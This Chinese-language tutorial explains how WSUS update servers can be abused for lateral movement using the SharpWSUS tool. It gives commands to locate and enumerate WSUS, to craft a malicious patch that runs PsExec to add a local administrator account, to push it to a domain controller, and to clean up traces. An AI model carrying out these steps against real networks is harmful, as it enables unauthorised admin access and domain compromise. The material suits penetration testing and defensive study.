使用SharpWSUS通过WSUS横向移动

2022-11-11 16:55:48 浏览数 (1)

WSUS介绍

WSUS 是一种 Microsoft 解决方案,使管理员可以以扩展的方式在整个环境中部署 Microsoft 产品更新和补丁,使用内部服务器而不需要直接连接到Internet。WSUS服务在 Windows 企业环境中极为常见。

WSUS架构

通常,WSUS 部署的体系结构非常简单,但是在实际环境中它们以更复杂的方式进行配置。最常见的部署是企业网络中配置一台 WSUS 服务器,此服务器将通过 HTTP 和 HTTPS 与 Microsoft 联系以下载 Microsoft 补丁。下载这些后,WSUS 服务器将在客户端链接 WSUS 服务器时将补丁部署到客户端。WSUS 服务器和客户端之间的通信将在 HTTP 端口 8530 和 HTTPS 端口 8531 上进行。

示例如下:

在更复杂的 WSUS 部署中,可能存在一个主 WSUS 服务器通过 Internet 与 Microsoft 通信,然后在内部,主 WSUS 服务器将补丁推送到其他内部 WSUS 服务器,然后将其部署到客户端。在这种情况下,连接到 Internet 的 WSUS 服务器称为上游服务器,而无法访问 Internet 并从上游服务器获取补丁的 WSUS 服务器将称为下游服务器。下面是一个示例图:

最常见的部署是一个单一的 WSUS 服务器,将补丁部署到资产中的所有客户端。这种部署意味着环境中的一台服务器可以与 WSUS 管理的所有服务器和客户端进行通信,这使得 WSUS 成为绕过网络隔离的非常有吸引力的目标。

定位 WSUS 服务器

可以通过查询以下注册表项找到客户端正在使用的 WSUS 服务器:

代码语言:javascript复制
HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsWindowsUpdate

此密钥将存在于通过 WSUS 管理的任何工作站或服务器上。由于最常见的部署是单个 WSUS 服务器,因此密钥中的服务器很可能与用于关键服务器的服务器相同。

这可以通过 SharpWSUS 使用SharpWSUS.exe locate来进行定位:

枚举 WSUS 服务器

SharpWSUS 可用于枚举有关 WSUS 部署的各种详细信息,例如当前服务器管理的计算机、每台计算机上一次签入更新的时间、任何下游服务器和 WSUS 组.

代码语言:javascript复制
SharpWSUS.exe inspect。

横向运动

WSUS 横向移动的一个关键考虑因素是无法控制客户端何时链接服务器。但是一般客户端会定期检查补丁,例如每天,也可能每月一次的补丁日才会安装补丁。如果优先级足够高,某些客户端可能会被配置为立即安装补丁。

滥用 WSUS 的第一步是创建恶意补丁,创建补丁时,可以通过 SharpWSUS 中的命令行配置各种参数值。有效负载必须是 Microsoft 签名的二进制文件,并且必须指向磁盘上的某个位置,以便 WSUS 服务器获取该二进制文件。

那么在 WSUS中我们需要绕过的是有效负载必须是 Microsoft 签名的二进制文件,这里我们可以使用lolbins等等进行绕过,这里使用的是PsExec.exe

代码语言:javascript复制
SharpWSUS.exe create /payload:"C:UsersbenDocumentspkpsexec.exe"
 /args:"-accepteula -s -d cmd.exe /c "net user WSUSDemo Password123!
  /add && net localgroup administrators WSUSDemo /add"" /title:
  "WSUSDemo"

此补丁将添加一个用户名为WSUSDemo的新用户,并加进管理员组。创建修补程序后,它将在 WSUS 控制台中可见。制作的补丁如下图所示:

点击补丁,则可以看到更多信息:

作为补丁创建过程的一部分,补丁中使用的二进制文件也被复制到 WSUS 文件位置并命名为"wuagent.exe"。

例如WSUS 内容位置是“C:UPDATESWsusContent”,那么二进制文件也将被复制到“C:UPDATESwuagent.exe”,WSUS 客户端会从这个文件夹中获取这个二进制文件

制作补丁后,接下来的步骤是创建一个组,将目标计算机添加到该组,然后将补丁部署到该组。这是因为 WSUS 修补程序是按 WSUS 组而不是按计算机进行工作的。这意味着要针对特定机器,有必要还需要确保该机器位于没有其他机器的组中。

这可以通过以下命令在 SharpWSUS 中使用一个命令来完成:

代码语言:javascript复制
SharpWSUS.exe approve /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 
/computername:bloredc2.blorebank.local /groupname:"Demo Group",
其中updateid GUID 是在 create 命令的输出。

检查组“Demo Group”是否存在,如果不存在则创建它。然后它将域控制器添加到组并获取该组的恶意补丁。

这也可以在 WSUS 控制台中看到。

在此之后,那么我们需要等待客户端下载并安装补丁。SharpWSUS 可用于枚举更新的状态:

代码语言:javascript复制
SharpWSUS.exe check /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 
/computername:bloredc2.blorebank.local”,其中updateid与以前相同。

在客户端中我们可以手动检查更新(在实战中我们需要等待目标计算机更新)

可以看到我们的恶意补丁

安装补丁

那么在目标计算机中可以看到成功添加了用户:

在目标机器上安装补丁后,将能够看到以下信息。

目标计算机安装补丁后,可以使用以下命令在 SharpWSUS 中执行清理:

代码语言:javascript复制
SharpWSUS.exe delete /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 
/computername:bloredc2.blorebank.local /groupname:”Demo Group”

查看 WSUS 控制台可以看到该组已被删除。

如果在 WSUS 中明确搜索补丁,则它不再存在。

需要注意的是,补丁二进制“wuagent.exe”将保留在磁盘上,我们需要手动删除。

SharpWSUS:https ://github.com/nettitude/SharpWSUS

0 人点赞